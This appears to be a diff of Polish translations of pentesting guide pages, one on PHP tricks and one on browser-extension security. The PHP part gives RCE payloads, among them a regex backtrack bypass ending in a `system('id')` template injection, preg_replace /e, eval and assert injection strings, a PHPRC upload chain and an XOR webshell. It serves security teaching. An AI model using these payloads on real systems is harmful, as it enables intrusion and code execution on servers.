Krótko mówiąc, problem występuje, ponieważ funkcje `preg_*` w PHP opierają się na [bibliotece PCRE](http://www.pcre.org/). W PCRE niektóre wyrażenia regularne są dopasowywane przy użyciu wielu wywołań rekurencyjnych, co zużywa dużo miejsca na stosie. Można ustawić limit na liczbę dozwolonych rekurencji, ale w PHP ten limit [domyślnie wynosi 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), co przekracza pojemność stosu.
[Ten wątek na Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) również został podlinkowany w poście, w którym bardziej szczegółowo omawiano ten problem. Nasze zadanie było teraz jasne:\
**Wysłać dane wejściowe, które spowodują, że regex wykona 100_000+ rekurencji, powodując SIGSEGV, co sprawi, że funkcja `preg_match()` zwróci `false`, a aplikacja pomyśli, że nasze dane wejściowe nie są złośliwe, zaskakując na końcu ładunku czymś w rodzaju `{system(<verybadcommand>)}` w celu uzyskania SSTI --> RCE --> flagi :)**.
**Wysłać dane wejściowe, które spowodują, że regex wykona 100_000+ rekurencji, powodując SIGSEGV, co sprawi, że funkcja `preg_match()` zwróci `false`, a aplikacja pomyśli, że nasze dane wejściowe nie są złośliwe, zaskakując na końcu ładunku czymś w stylu `{system(<verybadcommand>)}` w celu uzyskania SSTI --> RCE --> flagi :)**.
Cóż, w terminach regex, tak naprawdę nie wykonujemy 100k "rekurencji", ale zamiast tego liczymy "kroki cofania", które, jak stwierdza [dokumentacja PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), domyślnie wynosi 1_000_000 (1M) w zmiennej `pcre.backtrack_limit`.\
Cóż, w terminach regex, tak naprawdę nie wykonujemy 100k "rekurencji", ale zamiast tego liczymy "kroki cofania", co, jak stwierdza [dokumentacja PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), domyślnie wynosi 1_000_000 (1M) w zmiennej `pcre.backtrack_limit`.\
Aby to osiągnąć, `'X'*500_001` spowoduje 1 milion kroków cofania (500k do przodu i 500k do tyłu):
```python
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
@ -153,14 +153,14 @@ Sprawdź:
## Więcej sztuczek
- **register_globals**: W **PHP < 4.1.1.1** lub w przypadku błędnej konfiguracji, **register_globals** może być aktywne (lub ich zachowanie jest naśladowane). Oznacza to, że w zmiennych globalnych takich jak $\_GET, jeśli mają wartość np. $\_GET\["param"]="1234", możesz uzyskać do nich dostęp przez **$param. Dlatego, wysyłając parametry HTTP, możesz nadpisać zmienne\*\* używane w kodzie.
- **Ciasteczka PHPSESSION tej samej domeny są przechowywane w tym samym miejscu**, dlatego jeśli w obrębie domeny **używane są różne ciasteczka w różnych ścieżkach**, możesz sprawić, że ścieżka **uzyska dostęp do ciasteczka innej ścieżki**, ustawiając wartość ciasteczka innej ścieżki.\
- **Ciasteczka PHPSESSION tego samego domeny są przechowywane w tym samym miejscu**, dlatego jeśli w obrębie domeny **używane są różne ciasteczka w różnych ścieżkach**, możesz sprawić, że ścieżka **uzyska dostęp do ciasteczka innej ścieżki**, ustawiając wartość ciasteczka innej ścieżki.\
W ten sposób, jeśli **obie ścieżki uzyskują dostęp do zmiennej o tej samej nazwie**, możesz sprawić, że **wartość tej zmiennej w path1 będzie miała zastosowanie w path2**. A następnie path2 uzna zmienne path1 za ważne (nadając ciasteczku nazwę, która odpowiada jej w path2).
- Kiedy masz **nazwy użytkowników** użytkowników maszyny. Sprawdź adres: **/\~\<USERNAME>**, aby zobaczyć, czy katalogi php są aktywowane.
- [**LFI i RCE przy użyciu wrapperów php**](../../../pentesting-web/file-inclusion/)
- [**LFI i RCE przy użyciu wrapperów php**](../../../pentesting-web/file-inclusion/index.html)
### password_hash/password_verify
Funkcje te są zazwyczaj używane w PHP do **generowania hashy z haseł** oraz do **sprawdzania**, czy hasło jest poprawne w porównaniu z hashem.\
Funkcje te są zazwyczaj używane w PHP do **generowania hashy z haseł** i do **sprawdzania**, czy hasło jest poprawne w porównaniu z hashem.\
Obsługiwane algorytmy to: `PASSWORD_DEFAULT` i `PASSWORD_BCRYPT` (zaczyna się od `$2y$`). Zauważ, że **PASSWORD_DEFAULT często jest tym samym co PASSWORD_BCRYPT.** A obecnie, **PASSWORD_BCRYPT** ma **ograniczenie rozmiaru wejścia do 72 bajtów**. Dlatego, gdy próbujesz zhashować coś większego niż 72 bajty za pomocą tego algorytmu, tylko pierwsze 72B zostanie użyte:
```php
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
@ -183,8 +183,8 @@ if (isset($_GET["xss"])) echo $_GET["xss"];
```
#### Wypełnianie ciała przed ustawieniem nagłówków
Jeśli **strona PHP wyświetla błędy i zwraca niektóre dane wprowadzone przez użytkownika**, użytkownik może sprawić, że serwer PHP zwróci **treść wystarczająco długą**, aby podczas próby **dodania nagłówków** do odpowiedzi serwer zgłosił błąd.\
W następującym scenariuszu **atakujący spowodował, że serwer zgłosił kilka dużych błędów**, a jak widać na ekranie, gdy PHP próbowało **zmodyfikować informacje o nagłówkach, nie mogło** (więc na przykład nagłówek CSP nie został wysłany do użytkownika):
Jeśli **strona PHP wyświetla błędy i zwraca niektóre dane wprowadzone przez użytkownika**, użytkownik może sprawić, że serwer PHP wydrukuje **treść wystarczająco długą**, aby podczas próby **dodania nagłówków** do odpowiedzi serwer zgłosił błąd.\
W następującym scenariuszu **atakujący spowodował, że serwer zgłosił kilka dużych błędów**, a jak widać na ekranie, gdy PHP próbowało **zmodyfikować informacje o nagłówkach, nie mogło** (na przykład nagłówek CSP nie został wysłany do użytkownika):
![](<../../../images/image (1085).png>)
@ -202,7 +202,7 @@ php-ssrf.md
&#xNAN;**\`ls\`;**\
**shell_exec("ls");**
[Sprawdź to dla bardziej przydatnych funkcji PHP](php-useful-functions-disable_functions-open_basedir-bypass/)
[Sprawdź to dla bardziej przydatnych funkcji PHP](php-useful-functions-disable_functions-open_basedir-bypass/index.html)
### **RCE za pomocą** **preg_replace()**
```php
@ -210,7 +210,7 @@ preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")
```
Aby wykonać kod w argumencie "replace", potrzebne jest przynajmniej jedno dopasowanie.\
Ta opcja preg_replace jest **przestarzała od PHP 5.5.0.**
Ta opcja preg_replace została **wycofana od PHP 5.5.0.**
### **RCE za pomocą Eval()**
```
@ -220,9 +220,9 @@ Ta opcja preg_replace jest **przestarzała od PHP 5.5.0.**
'.phpinfo().'
<?php phpinfo(); ?>
```
### **RCE poprzez Assert()**
### **RCE via Assert()**
Ta funkcja w php pozwala na **wykonanie kodu zapisanego w ciągu** w celu **zwrócenia true lub false** (a w zależności od tego zmienić wykonanie). Zazwyczaj zmienna użytkownika będzie wstawiana w środek ciągu. Na przykład:\
Ta funkcja w php pozwala na **wykonanie kodu zapisanego w ciągu** w celu **zwrócenia true lub false** (a w zależności od tego zmienić wykonanie). Zwykle zmienna użytkownika będzie wstawiana w środek ciągu. Na przykład:\
`assert("strpos($_GET['page']),'..') === false")` --> W tym przypadku, aby uzyskać **RCE**, możesz zrobić:
```
?page=a','NeVeR') === false and system('ls') and strpos('a
@ -272,9 +272,9 @@ Różne powłoki .htaccess można znaleźć [tutaj](https://github.com/wireghoul
### RCE przez zmienne środowiskowe
Jeśli znajdziesz lukę, która pozwala na **modyfikację zmiennych środowiskowych w PHP** (i inną, aby przesyłać pliki, chociaż z większym badaniem może to być możliwe do obejścia), możesz wykorzystać to zachowanie, aby uzyskać **RCE**.
Jeśli znajdziesz lukę, która pozwala na **modyfikację zmiennych środowiskowych w PHP** (i inną, aby przesyłać pliki, chociaż z większym badaniem może to być możliwe do obejścia), możesz nadużyć tego zachowania, aby uzyskać **RCE**.
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): Ta zmienna środowiskowa pozwala na ładowanie dowolnych bibliotek podczas wykonywania innych binarnych plików (chociaż w tym przypadku może to nie działać).
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): Ta zmienna środowiskowa pozwala na ładowanie dowolnych bibliotek podczas wykonywania innych binarnych (chociaż w tym przypadku może to nie działać).
- **`PHPRC`** : Instrukcja dla PHP, **gdzie znaleźć plik konfiguracyjny**, zazwyczaj nazywany `php.ini`. Jeśli możesz przesłać własny plik konfiguracyjny, użyj `PHPRC`, aby wskazać PHP na niego. Dodaj wpis **`auto_prepend_file`**, określający drugi przesłany plik. Ten drugi plik zawiera normalny **kod PHP, który jest następnie wykonywany** przez środowisko PHP przed jakimkolwiek innym kodem.
1. Prześlij plik PHP zawierający nasz shellcode
2. Prześlij drugi plik, zawierający dyrektywę **`auto_prepend_file`**, instruującą preprocesor PHP do wykonania pliku, który przesłaliśmy w kroku 1
@ -349,9 +349,9 @@ echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums
```
## RCE nadużywając nowego $\_GET\["a"]\($\_GET\["b"])
## RCE wykorzystując nowe $\_GET\["a"]\($\_GET\["b")
Jeśli na stronie możesz **utworzyć nowy obiekt dowolnej klasy**, możesz być w stanie uzyskać RCE, sprawdź następującą stronę, aby dowiedzieć się jak:
Jeśli na stronie możesz **utworzyć nowy obiekt dowolnej klasy**, możesz uzyskać RCE, sprawdź następującą stronę, aby dowiedzieć się jak:
{{#ref}}
php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md
@ -374,7 +374,7 @@ $_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
```
### XOR łatwy kod powłoki
Zgodnie z [**tym opisem** ](https://mgp25.com/ctf/Web-challenge/)możliwe jest wygenerowanie łatwego kodu powłoki w ten sposób:
Zgodnie z [**tym opisem** ](https://mgp25.com/ctf/Web-challenge/) możliwe jest wygenerowanie łatwego kodu powłoki w ten sposób:
```php
$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);

View File

@ -20,22 +20,22 @@ Każdy skrypt treści ma bezpośredni dostęp do DOM **jednej strony internetowe
Rdzeń rozszerzenia zawiera większość uprawnień/dostępu rozszerzenia, ale rdzeń rozszerzenia może wchodzić w interakcje z treścią internetową tylko za pośrednictwem [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) i skryptów treści. Ponadto rdzeń rozszerzenia nie ma bezpośredniego dostępu do maszyny gospodarza.
### **Natychmiastowy Binar**
### **Natychmiastowy Plik Binarny**
Rozszerzenie pozwala na natychmiastowy binar, który może **uzyskać dostęp do maszyny gospodarza z pełnymi uprawnieniami użytkownika.** Natychmiastowy binar wchodzi w interakcje z rdzeniem rozszerzenia za pośrednictwem standardowego interfejsu programowania aplikacji Netscape Plugin ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)), używanego przez Flash i inne wtyczki przeglądarki.
Rozszerzenie pozwala na natywny plik binarny, który może **uzyskać dostęp do maszyny gospodarza z pełnymi uprawnieniami użytkownika.** Natywny plik binarny wchodzi w interakcje z rdzeniem rozszerzenia za pośrednictwem standardowego interfejsu programowania aplikacji Netscape Plugin ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)), używanego przez Flash i inne wtyczki przeglądarki.
### Granice
> [!CAUTION]
> Aby uzyskać pełne uprawnienia użytkownika, atakujący musi przekonać rozszerzenie do przekazania złośliwych danych wejściowych ze skryptu treści do rdzenia rozszerzenia i z rdzenia rozszerzenia do natychmiastowego binaru.
> Aby uzyskać pełne uprawnienia użytkownika, atakujący musi przekonać rozszerzenie do przekazania złośliwych danych wejściowych ze skryptu treści do rdzenia rozszerzenia i z rdzenia rozszerzenia do natywnego pliku binarnego.
Każdy komponent rozszerzenia jest oddzielony od siebie przez **silne granice ochronne**. Każdy komponent działa w **osobnym procesie systemu operacyjnego**. Skrypty treści i rdzenie rozszerzeń działają w **procesach piaskownicy**, niedostępnych dla większości usług systemu operacyjnego.
Każdy komponent rozszerzenia jest oddzielony od siebie przez **silne granice ochronne**. Każdy komponent działa w **oddzielnym procesie systemu operacyjnego**. Skrypty treści i rdzenie rozszerzeń działają w **procesach piaskownicy**, niedostępnych dla większości usług systemu operacyjnego.
Co więcej, skrypty treści są oddzielone od swoich powiązanych stron internetowych przez **działanie w osobnym stosie JavaScript**. Skrypt treści i strona internetowa mają **dostęp do tego samego podstawowego DOM**, ale obie **nigdy nie wymieniają wskaźników JavaScript**, co zapobiega wyciekowi funkcjonalności JavaScript.
Co więcej, skrypty treści są oddzielone od swoich powiązanych stron internetowych przez **działanie w oddzielnym stosie JavaScript**. Skrypt treści i strona internetowa mają **dostęp do tego samego podstawowego DOM**, ale obie **nigdy nie wymieniają wskaźników JavaScript**, co zapobiega wyciekowi funkcjonalności JavaScript.
## **`manifest.json`**
Rozszerzenie Chrome to po prostu folder ZIP z [.crx file extension](https://www.lifewire.com/crx-file-2620391). Rdzeń rozszerzenia to plik **`manifest.json`** w katalogu głównym folderu, który określa układ, uprawnienia i inne opcje konfiguracyjne.
Rozszerzenie Chrome to po prostu folder ZIP z rozszerzeniem [.crx](https://www.lifewire.com/crx-file-2620391). Rdzeń rozszerzenia to plik **`manifest.json`** w katalogu głównym folderu, który określa układ, uprawnienia i inne opcje konfiguracyjne.
Przykład:
```json
@ -61,7 +61,7 @@ Przykład:
```
### `content_scripts`
Skrypty zawartości są **ładowane** za każdym razem, gdy użytkownik **nawiguje do pasującej strony**, w naszym przypadku każda strona pasująca do wyrażenia **`https://example.com/*`** i niepasująca do wyrażenia regularnego **`*://*/*/business*`**. Wykonują się **jak własne skrypty strony** i mają dowolny dostęp do [Modelu Obiektów Dokumentu (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model).
Skrypty zawartości są **ładowane** za każdym razem, gdy użytkownik **nawiguje do pasującej strony**, w naszym przypadku każda strona pasująca do wyrażenia **`https://example.com/*`** i niepasująca do wyrażenia regex **`*://*/*/business*`**. Wykonują się **jak własne skrypty strony** i mają dowolny dostęp do [Modelu Obiektowego Dokumentu (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model).
```json
"content_scripts": [
{
@ -208,7 +208,7 @@ js: ["contentScript.js"],
```
### `background`
Wiadomości wysyłane przez skrypty zawartości są odbierane przez **background page**, która odgrywa centralną rolę w koordynowaniu komponentów rozszerzenia. Należy zauważyć, że background page utrzymuje się przez cały czas trwania rozszerzenia, działając dyskretnie bez bezpośredniej interakcji użytkownika. Posiada własny Model Obiektów Dokumentu (DOM), co umożliwia złożone interakcje i zarządzanie stanem.
Wiadomości wysyłane przez skrypty zawartości są odbierane przez **background page**, która odgrywa centralną rolę w koordynowaniu komponentów rozszerzenia. Należy zauważyć, że background page utrzymuje się przez cały czas życia rozszerzenia, działając dyskretnie bez bezpośredniej interakcji użytkownika. Posiada własny Model Obiektów Dokumentu (DOM), co umożliwia złożone interakcje i zarządzanie stanem.
**Kluczowe punkty**:
@ -229,7 +229,7 @@ chrome.tabs.create({ url: "https://example.net/explanation" })
```
Używa [runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) do nasłuchiwania wiadomości. Gdy otrzymana zostanie wiadomość `"explain"`, używa [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) do otwarcia strony w nowej karcie.
Aby debugować skrypt w tle, możesz przejść do **szczegółów rozszerzenia i sprawdzić serwis worker**, co otworzy narzędzia deweloperskie z skryptem w tle:
Aby debugować skrypt w tle, możesz przejść do **szczegółów rozszerzenia i zbadać serwis worker,** co otworzy narzędzia deweloperskie z skryptem w tle:
<figure><img src="https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/browser-extension-pentesting-methodology/broken-reference" alt=""><figcaption></figcaption></figure>
@ -237,22 +237,22 @@ Aby debugować skrypt w tle, możesz przejść do **szczegółów rozszerzenia i
Rozszerzenia przeglądarki mogą zawierać różne rodzaje stron:
- **Strony akcji** są wyświetlane w **rozwijanym menu, gdy kliknięta jest ikona rozszerzenia**.
- Strony, które rozszerzenie **załaduje w nowej karcie**.
- **Strony akcji** są wyświetlane w **rozwijanym menu, gdy kliknięta jest ikona rozszerzenia.**
- Strony, które rozszerzenie **załaduje w nowej karcie.**
- **Strony opcji**: Ta strona wyświetla się na górze rozszerzenia po kliknięciu. W poprzednim manifeście w moim przypadku mogłem uzyskać dostęp do tej strony w `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` lub klikając:
<figure><img src="../../images/image (24).png" alt="" width="375"><figcaption></figcaption></figure>
Zauważ, że te strony nie są trwałe jak strony w tle, ponieważ ładują dynamicznie treści w zależności od potrzeb. Mimo to, dzielą pewne możliwości z stroną w tle:
- **Komunikacja z skryptami treści:** Podobnie jak strona w tle, te strony mogą otrzymywać wiadomości od skryptów treści, co ułatwia interakcję w ramach rozszerzenia.
- **Komunikacja z skryptami treści:** Podobnie jak strona w tle, te strony mogą odbierać wiadomości od skryptów treści, ułatwiając interakcję w ramach rozszerzenia.
- **Dostęp do specyficznych API rozszerzenia:** Te strony mają pełny dostęp do specyficznych API rozszerzenia, w zależności od uprawnień zdefiniowanych dla rozszerzenia.
### `permissions` & `host_permissions`
**`permissions`** i **`host_permissions`** to wpisy z `manifest.json`, które wskazują **jakie uprawnienia** ma rozszerzenie przeglądarki (przechowywanie, lokalizacja...) oraz **na jakich stronach internetowych**.
**`permissions`** i **`host_permissions`** to wpisy z `manifest.json`, które wskazują **jakie uprawnienia** ma rozszerzenie przeglądarki (przechowywanie, lokalizacja...) oraz **na jakich stronach internetowych.**
Ponieważ rozszerzenia przeglądarki mogą być tak **uprzywilejowane**, złośliwe lub skompromitowane mogłyby umożliwić atakującemu **różne sposoby kradzieży wrażliwych informacji i szpiegowania użytkownika**.
Ponieważ rozszerzenia przeglądarki mogą być tak **uprzywilejowane**, złośliwe lub skompromitowane mogłyby umożliwić atakującemu **różne sposoby kradzieży wrażliwych informacji i szpiegowania użytkownika.**
Sprawdź, jak te ustawienia działają i jak mogą być nadużywane w:
@ -262,7 +262,7 @@ browext-permissions-and-host_permissions.md
### `content_security_policy`
**Polityka bezpieczeństwa treści** może być również zadeklarowana w `manifest.json`. Jeśli jest zdefiniowana, może być **wrażliwa**.
**Polityka bezpieczeństwa treści** może być również zadeklarowana wewnątrz `manifest.json`. Jeśli jest zdefiniowana, może być **wrażliwa**.
Domyślne ustawienie dla stron rozszerzeń przeglądarki jest dość restrykcyjne:
```bash
@ -305,9 +305,9 @@ W publicznych rozszerzeniach **identyfikator rozszerzenia jest dostępny**:
Jednakże, jeśli parametr `manifest.json` **`use_dynamic_url`** jest używany, ten **identyfikator może być dynamiczny**.
> [!TIP]
> Zauważ, że nawet jeśli strona jest tutaj wymieniona, może być **chroniona przed ClickJacking** dzięki **Polityce Bezpieczeństwa Treści**. Dlatego musisz to również sprawdzić (sekcja frame-ancestors), zanim potwierdzisz, że atak ClickJacking jest możliwy.
> Zauważ, że nawet jeśli strona jest tutaj wymieniona, może być **chroniona przed ClickJacking** dzięki **Polityce Bezpieczeństwa Treści**. Dlatego musisz również to sprawdzić (sekcja frame-ancestors) przed potwierdzeniem, że atak ClickJacking jest możliwy.
Możliwość dostępu do tych stron sprawia, że są one **potencjalnie podatne na ClickJacking**:
Dopuszczenie dostępu do tych stron sprawia, że są one **potencjalnie podatne na ClickJacking**:
{{#ref}}
browext-clickjacking.md
@ -327,7 +327,7 @@ Zgodnie z [**dokumentacją**](https://developer.chrome.com/docs/extensions/refer
- Jeśli klucz **`externally_connectable`** **nie** jest zadeklarowany w manifeście Twojego rozszerzenia lub jest zadeklarowany jako **`"ids": ["*"]`**, **wszystkie rozszerzenia mogą się łączyć, ale żadne strony internetowe nie mogą się łączyć**.
- Jeśli **określone identyfikatory są podane**, jak w `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **tylko te aplikacje** mogą się łączyć.
- Jeśli **określone dopasowania** są podane, te aplikacje internetowe będą mogły się łączyć:
- Jeśli **dopasowania** są określone, te aplikacje internetowe będą mogły się łączyć:
```json
"matches": [
"https://*.google.com/*",
@ -342,7 +342,7 @@ Im **mniej rozszerzeń i adresów URL** wskazanych tutaj, tym **mniejsza powierz
>
> Dlatego jest to **bardzo potężne obejście**.
>
> Co więcej, jeśli klient zainstaluje złośliwe rozszerzenie, nawet jeśli nie jest ono dozwolone do komunikacji z wrażliwym rozszerzeniem, może wstrzyknąć **dane XSS w dozwolonej stronie internetowej** lub nadużyć API **`WebRequest`** lub **`DeclarativeNetRequest`**, aby manipulować żądaniami na docelowej domenie, zmieniając żądanie strony dla **pliku JavaScript**. (Zauważ, że CSP na docelowej stronie może zapobiec tym atakom). Ten pomysł pochodzi [**z tego opisu**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability).
> Co więcej, jeśli klient zainstaluje złośliwe rozszerzenie, nawet jeśli nie jest dozwolone do komunikacji z wrażliwym rozszerzeniem, może wstrzyknąć **dane XSS w dozwolonej stronie internetowej** lub nadużyć API **`WebRequest`** lub **`DeclarativeNetRequest`**, aby manipulować żądaniami na docelowej domenie, zmieniając żądanie strony dla **pliku JavaScript**. (Zauważ, że CSP na docelowej stronie może zapobiec tym atakom). Ten pomysł pochodzi [**z tego opisu**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability).
## Podsumowanie komunikacji
@ -354,7 +354,7 @@ Aby komunikować się między skryptem treści a stroną internetową, zazwyczaj
Zazwyczaj funkcja **`chrome.runtime.sendMessage`** jest używana do wysyłania wiadomości wewnątrz rozszerzenia (zazwyczaj obsługiwana przez skrypt `background`), a aby ją odebrać i obsłużyć, deklarowany jest nasłuchiwacz wywołujący **`chrome.runtime.onMessage.addListener`**.
Możliwe jest również użycie **`chrome.runtime.connect()`** do nawiązania trwałego połączenia zamiast wysyłania pojedynczych wiadomości; można go użyć do **wysyłania** i **odbierania** **wiadomości**, jak w poniższym przykładzie:
Możliwe jest również użycie **`chrome.runtime.connect()`**, aby mieć stałe połączenie zamiast wysyłania pojedynczych wiadomości, można go użyć do **wysyłania** i **odbierania** **wiadomości**, jak w poniższym przykładzie:
<details>
@ -397,7 +397,7 @@ Możliwe jest również wysyłanie wiadomości z skryptu w tle do skryptu treśc
```javascript
chrome.runtime.sendMessage(extensionId, ...
```
Gdzie to konieczne, aby wspomnieć o **identyfikatorze rozszerzenia**.
Gdzie należy wspomnieć o **identyfikatorze rozszerzenia**.
### Native Messaging
@ -413,7 +413,7 @@ console.log("Received " + response)
```
## Web **↔︎** Komunikacja Skryptów Treści
Środowiska, w których działają **skrypty treści**, oraz miejsca, w których istnieją strony hosta, są **oddzielone** od siebie, zapewniając **izolację**. Pomimo tej izolacji, obie strony mają możliwość interakcji z **Modelem Obiektów Dokumentu (DOM)** strony, wspólnym zasobem. Aby strona hosta mogła nawiązać komunikację z **skryptem treści** lub pośrednio z rozszerzeniem za pośrednictwem skryptu treści, konieczne jest wykorzystanie **DOM**, który jest dostępny dla obu stron jako kanał komunikacyjny.
Środowiska, w których działają **skrypty treści**, oraz gdzie istnieją strony hosta, są **oddzielone** od siebie, zapewniając **izolację**. Pomimo tej izolacji, obie strony mają możliwość interakcji z **Modelem Obiektów Dokumentu (DOM)** strony, wspólnym zasobem. Aby strona hosta mogła nawiązać komunikację z **skryptem treści**, lub pośrednio z rozszerzeniem przez skrypt treści, konieczne jest wykorzystanie **DOM**, który jest dostępny dla obu stron jako kanał komunikacyjny.
### Wiadomości Post
```javascript:content-script.js
@ -454,9 +454,9 @@ Bezpieczna komunikacja Post Message powinna sprawdzać autentyczność otrzymane
- **`event.isTrusted`**: To jest True tylko wtedy, gdy zdarzenie zostało wywołane przez akcję użytkownika
- Skrypt treści może oczekiwać wiadomości tylko wtedy, gdy użytkownik wykona jakąś akcję
- **domena źródłowa**: może oczekiwać wiadomości tylko z dozwolonej listy domen.
- **origin domain**: może oczekiwać wiadomości tylko z dozwolonej listy domen.
- Jeśli używana jest wyrażenie regularne, należy być bardzo ostrożnym
- **Źródło**: `received_message.source !== window` może być użyte do sprawdzenia, czy wiadomość była **z tego samego okna**, w którym skrypt treści nasłuchuje.
- **Source**: `received_message.source !== window` może być użyte do sprawdzenia, czy wiadomość była **z tej samej okna**, w którym skrypt treści nasłuchuje.
Poprzednie kontrole, nawet jeśli są przeprowadzane, mogą być podatne, więc sprawdź na następującej stronie **potencjalne obejścia Post Message**:
@ -466,7 +466,7 @@ Poprzednie kontrole, nawet jeśli są przeprowadzane, mogą być podatne, więc
### Iframe
Innym możliwym sposobem komunikacji mogą być **adresy URL Iframe**, przykład można znaleźć w:
Innym możliwym sposobem komunikacji mogą być **Iframe URLs**, przykład można znaleźć w:
{{#ref}}
browext-xss-example.md
@ -474,9 +474,9 @@ browext-xss-example.md
### DOM
To nie jest "dokładnie" sposób komunikacji, ale **sieć i skrypt treści będą miały dostęp do DOM sieci**. Więc, jeśli **skrypt treści** odczytuje jakieś informacje z niego, **ufając DOM sieci**, sieć mogłaby **zmodyfikować te dane** (ponieważ sieć nie powinna być ufana, lub ponieważ sieć jest podatna na XSS) i **skompromentować skrypt treści**.
To nie jest "dokładnie" sposób komunikacji, ale **sieć i skrypt treści będą miały dostęp do DOM sieci**. Więc, jeśli **skrypt treści** odczytuje jakieś informacje z niego, **ufając DOM sieci**, sieć może **zmodyfikować te dane** (ponieważ sieć nie powinna być ufana, lub ponieważ sieć jest podatna na XSS) i **kompromitować skrypt treści**.
Możesz również znaleźć przykład **XSS opartego na DOM, aby skompromitować rozszerzenie przeglądarki** w:
Możesz również znaleźć przykład **XSS oparty na DOM, aby skompromitować rozszerzenie przeglądarki** w:
{{#ref}}
browext-xss-example.md
@ -523,7 +523,7 @@ if (request.greeting === "hello") sendResponse({ farewell: "goodbye" })
```
W podanym przykładzie, **`sendResponse()`** został wykonany w sposób synchroniczny. Aby zmodyfikować obsługę zdarzenia `onMessage` na asynchroniczne wykonanie `sendResponse()`, konieczne jest dodanie `return true;`.
Ważnym zagadnieniem jest to, że w scenariuszach, w których wiele stron jest ustawionych na odbieranie zdarzeń `onMessage`, **pierwsza strona, która wykona `sendResponse()`** dla konkretnego zdarzenia, będzie jedyną, która skutecznie dostarczy odpowiedź. Jakiekolwiek kolejne odpowiedzi na to samo zdarzenie nie będą brane pod uwagę.
Ważnym zagadnieniem jest to, że w scenariuszach, w których wiele stron ma odbierać zdarzenia `onMessage`, **pierwsza strona, która wykona `sendResponse()`** dla konkretnego zdarzenia, będzie jedyną, która skutecznie dostarczy odpowiedź. Jakiekolwiek kolejne odpowiedzi na to samo zdarzenie nie będą brane pod uwagę.
Podczas tworzenia nowych rozszerzeń, preferencje powinny być skierowane ku obietnicom zamiast do callbacków. Jeśli chodzi o użycie callbacków, funkcja `sendResponse()` jest uznawana za ważną tylko wtedy, gdy jest wykonywana bezpośrednio w kontekście synchronicznym lub jeśli obsługa zdarzenia wskazuje na operację asynchroniczną, zwracając `true`. Jeśli żaden z handlerów nie zwróci `true` lub jeśli funkcja `sendResponse()` zostanie usunięta z pamięci (zbieranie śmieci), callback związany z funkcją `sendMessage()` zostanie wywołany domyślnie.
@ -558,7 +558,7 @@ console.log("Received " + response)
```
W [**tym wpisie na blogu**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/) zaproponowano podatny wzór wykorzystujący natywne wiadomości:
1. Rozszerzenie przeglądarki ma wzór z użyciem symbolu wieloznacznego dla skryptu treści.
1. Rozszerzenie przeglądarki ma wzór wildcard dla skryptu treści.
2. Skrypt treści przesyła wiadomości `postMessage` do skryptu w tle za pomocą `sendMessage`.
3. Skrypt w tle przesyła wiadomość do aplikacji natywnej za pomocą `sendNativeMessage`.
4. Aplikacja natywna niebezpiecznie obsługuje wiadomość, co prowadzi do wykonania kodu.
@ -567,7 +567,7 @@ A w jego wnętrzu wyjaśniono przykład **przechodzenia z dowolnej strony do RCE
## Wrażliwe informacje w pamięci/kodzie/clipboard
Jeśli Rozszerzenie Przeglądarki przechowuje **wrażliwe informacje w swojej pamięci**, mogą one być **zrzucane** (szczególnie na maszynach z systemem Windows) i **wyszukiwane** w celu uzyskania tych informacji.
Jeśli Rozszerzenie Przeglądarki przechowuje **wrażliwe informacje w swojej pamięci**, mogą one być **zrzucane** (szczególnie na maszynach z systemem Windows) i **wyszukiwane** w tych informacjach.
Dlatego pamięć Rozszerzenia Przeglądarki **nie powinna być uważana za bezpieczną**, a **wrażliwe informacje**, takie jak dane logowania czy frazy mnemoniczne, **nie powinny być przechowywane**.
@ -575,7 +575,7 @@ Oczywiście, **nie umieszczaj wrażliwych informacji w kodzie**, ponieważ będ
Aby zrzucić pamięć z przeglądarki, możesz **zrzucić pamięć procesu** lub przejść do **ustawień** rozszerzenia przeglądarki, klikając **`Inspect pop-up`** -> W sekcji **`Memory`** -> **`Take a snapshot`** i **`CTRL+F`**, aby wyszukać w zrzucie wrażliwe informacje.
Ponadto, bardzo wrażliwe informacje, takie jak klucze mnemoniczne czy hasła, **nie powinny być kopiowane do schowka** (lub przynajmniej powinny być usuwane ze schowka w ciągu kilku sekund), ponieważ wtedy procesy monitorujące schowek będą mogły je uzyskać.
Ponadto, bardzo wrażliwe informacje, takie jak klucze mnemoniczne czy hasła, **nie powinny mieć możliwości kopiowania do schowka** (lub przynajmniej powinny być usuwane ze schowka w ciągu kilku sekund), ponieważ wtedy procesy monitorujące schowek będą mogły je zdobyć.
## Ładowanie rozszerzenia w przeglądarce
@ -629,9 +629,9 @@ Przejdź do Chrome Web Store i pobierz rozszerzenie. Plik będzie miał rozszerz
